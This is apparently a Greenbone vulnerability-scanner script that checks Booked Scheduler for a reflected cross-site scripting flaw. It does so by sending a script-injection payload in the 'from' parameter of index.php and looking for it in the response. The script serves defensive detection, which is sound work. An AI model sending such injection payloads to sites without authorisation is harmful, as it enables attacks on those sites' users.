Booked Scheduler Cross Site Scripting Vulnerability

# SPDX-FileCopyrightText: 2015 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:twinkle_toes:booked_scheduler";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105260");
  script_version("2023-10-27T05:05:28+0000");
  script_tag(name:"cvss_base", value:"4.6");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:H/Au:S/C:P/I:P/A:P");
  script_name("Booked Scheduler Cross Site Scripting Vulnerability");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"WillNotFix");

  script_tag(name:"last_modification", value:"2023-10-27 05:05:28 +0000 (Fri, 27 Oct 2023)");
  script_tag(name:"creation_date", value:"2015-04-20 14:32:41 +0200 (Mon, 20 Apr 2015)");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2015 Greenbone AG");
  script_dependencies("gb_booked_scheduler_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("booked_scheduler/installed");

  script_tag(name:"summary", value:"Booked Scheduler is prone to a cross-site scripting vulnerability because the software
  fails to sufficiently sanitize user-supplied input");

  script_tag(name:"impact", value:"An attacker may leverage these issues to execute arbitrary script code
  in the browser of an unsuspecting user in the context of the affected site.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this
  vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer release, disable
  respective features, remove the product or replace the product by another one.");

  exit(0);
}

include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");

if( ! port = get_app_port( cpe:CPE ) ) exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) ) exit( 0 );

url = dir + '/index.php?from=";></><script>alert(/vt-xss-test/)</script>';

if( http_vuln_check( port:port, url:url, pattern:"<script>alert\(/vt-xss-test/\)</script>", check_header:TRUE ) ) {
  report = http_report_vuln_url( port:port, url:url );
  security_message( port:port, data:report );
  exit(0);
}

exit(99);